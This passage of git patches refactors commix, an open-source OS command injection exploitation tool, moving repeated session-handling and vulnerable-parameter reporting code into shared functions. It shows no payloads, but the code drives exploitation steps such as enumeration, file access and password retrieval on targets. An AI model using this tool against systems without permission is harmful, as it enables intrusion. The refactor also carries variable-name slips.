True: + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) + if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + break + elif file_access_again in settings.CHOICE_NO: + break + elif file_access_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(file_access_again) + pass + else: + if menu.file_access_options(): + do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index d26d5231ad..38acffae1f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -293,27 +293,10 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if menu.enumeration_options(): eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # Check for any enumeration options. + eb_enumeration.stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True: - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - if menu.file_access_options(): - eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - + eb_file_access.stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Check if defined single cmd. if menu.options.os_cmd: eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 2a1b5745a8..a6feb38f4e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -17,10 +17,12 @@ import sys from src.utils import logs from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks from src.thirdparty.colorama import Fore, Back, Style, init +from src.core.injections.semiblind.techniques.file_based import fb_handler from src.core.injections.semiblind.techniques.file_based import fb_injector """ @@ -265,4 +267,32 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True -# eof +""" +Check stored session +""" +def stored_session(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + new_line = True + if settings.ENUMERATION_DONE == True : + while True: + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) + if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + break + elif enumerate_again in settings.CHOICE_NO: + new_line = False + break + elif file_access_again in settings.CHOICE_QUIT: + # Delete previous shell (text) files (output) + fb_handler.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + raise SystemExit() + else: + common.invalid_option(enumerate_again) + pass + else: + if menu.enumeration_options(): + do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + +# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 9c0e1c4d1f..a95ed0c07f 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -17,12 +17,13 @@ import os import sys from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_injector +from src.core.injections.semiblind.techniques.file_based import fb_handler """ The "file-based" technique on semiblind OS command injection. @@ -102,4 +103,30 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.FILE_ACCESS_DONE = True +""" +Check stored session +""" +def stored_session(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + if settings.FILE_ACCESS_DONE == True : + while True: + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) + if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + break + elif file_access_again in settings.CHOICE_NO: + break + elif file_access_again in settings.CHOICE_QUIT: + # Delete previous shell (text) files (output) + fb_handler.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + raise SystemExit() + else: + common.invalid_option(enumerate_again) + pass + else: + if menu.file_access_options(): + do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 3a933e756a..12f73ca39d 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -468,56 +468,11 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: whitespace = settings.WHITESPACES[0] settings.LOAD_SESSION = False - # Check for any enumeration options. - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - + fb_enumeration.stored_session(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True : - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.file_access_options(): - fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - - # Check if defined single cmd. + fb_file_access.stored_session(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # Check if defined single cmd. if menu.options.os_cmd: fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index bd9130c6e4..344359b65c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -17,6 +17,7 @@ import sys from src.utils import logs from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks @@ -269,4 +270,30 @@ def reset(): system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): + if settings.ENUMERATION_DONE == True : + while True: + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) + if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + break + elif enumerate_again in settings.CHOICE_NO: + break + elif enumerate_again in settings.CHOICE_QUIT: + # Delete previous shell (text) files (output) from temp. + tfb_injector.delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + raise SystemExit() + else: + common.invalid_option(enumerate_again) + pass + else: + if menu.enumeration_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + # eof diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 7db7aaf6ec..b932d43193 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -17,6 +17,7 @@ import os import sys from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks @@ -117,4 +118,29 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): + if settings.FILE_ACCESS_DONE == True : + while True: + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) + if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + break + elif file_access_again in settings.CHOICE_NO: + break + elif file_access_again in settings.CHOICE_QUIT: + # Delete previous shell (text) files (output) from temp. + tfb_injector.delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + raise SystemExit() + else: + common.invalid_option(file_access_again) + pass + else: + if menu.file_access_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 2692553432..7048f5a25c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -423,51 +423,9 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, time.sleep(1) # Check for any enumeration options. - if settings.ENUMERATION_DONE == True : - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - break - elif enumerate_again in settings.CHOICE_NO: - break - elif enumerate_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - + tfb_enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True : - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - if menu.file_access_options(): - tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - + tfb_file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd diff --git a/src/utils/settings.py b/src/utils/settings.py index 5f8101d1ce..fbc471581b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "57" +REVISION = "58" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3d700ca9fc6f754fba5f7716d6c3fce7762ea479 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 31 May 2024 08:19:51 +0300 Subject: [PATCH 455/560] Additional code refactoring (commit: https://github.com/commixproject/commix/commit/d6656b0a6f30b6c07823dfb32997d95eda73806b) --- .../blind/techniques/time_based/tb_handler.py | 59 +---------------- src/core/injections/controller/checks.py | 66 +++++++++++++++++++ .../techniques/classic/cb_handler.py | 61 +---------------- .../techniques/eval_based/eb_handler.py | 60 +---------------- .../techniques/file_based/fb_handler.py | 66 +------------------ .../techniques/tempfile_based/tfb_handler.py | 66 +------------------ src/utils/settings.py | 2 +- 7 files changed, 72 insertions(+), 308 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index dbf0a84573..c677a9cfa8 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -317,64 +317,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r found = True no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if settings.LOAD_SESSION: - possibly_vulnerable = False - - if settings.COOKIE_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.REFERER - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) # Export session if not settings.LOAD_SESSION: shell = "" diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0432ba3281..16a5541470 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2653,4 +2653,70 @@ def define_py_working_dir(): pass settings.USER_DEFINED_PYTHON_DIR = True +""" +Checks for identified vulnerable parameter +""" +def identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter): + # Check injection state + settings.DETECTION_PHASE = False + settings.EXPLOITATION_PHASE = True + if settings.COOKIE_INJECTION == True: + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE + found_vuln_parameter = vuln_parameter + the_type = " parameter" + + elif settings.USER_AGENT_INJECTION == True: + header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT + found_vuln_parameter = "" + the_type = " HTTP header" + + elif settings.REFERER_INJECTION == True: + header_name = settings.SINGLE_WHITESPACE + settings.REFERER + found_vuln_parameter = "" + the_type = " HTTP header" + + elif settings.HOST_INJECTION == True: + header_name = settings.SINGLE_WHITESPACE + settings.HOST + found_vuln_parameter = "" + the_type = " HTTP header" + + elif settings.CUSTOM_HEADER_INJECTION == True: + header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME + found_vuln_parameter = "" + the_type = " HTTP header" + + else: + header_name = "" + the_type = " parameter" + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: + found_vuln_parameter = parameters.vuln_GET_param(url) + else : + found_vuln_parameter = vuln_parameter + + if len(found_vuln_parameter) != 0 : + found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" + + # Print the findings to log file. + if export_injection_info == False: + export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) + if vp_flag == True: + vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) + logs.update_payload(filename, counter, payload) + counter = counter + 1 + + if not settings.LOAD_SESSION: + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) + else: + total_of_requests() + + # Print the findings to terminal. + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + print(settings.print_bold_info_msg(info_msg)) + sub_content = str(url_decode(payload)) + print(settings.print_sub_content(sub_content)) + + # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 905eef491c..ecf0069e3d 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -191,66 +191,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if shell: found = True no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if settings.COOKIE_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.REFERER - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.HOST_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.HOST - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 38acffae1f..ad8b466772 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -204,65 +204,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if shell: found = True no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if settings.COOKIE_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.REFERER - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.HOST_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.HOST - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 12f73ca39d..b17ce34ad8 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -397,71 +397,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r settings.FILE_BASED_STATE = True found = True no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if not settings.VERBOSITY_LEVEL != 0 and \ - not menu.options.alter_shell and \ - not next_attack_vector: - next_attack_vector = True - - if settings.COOKIE_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.REFERER - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.HOST_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.HOST - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) 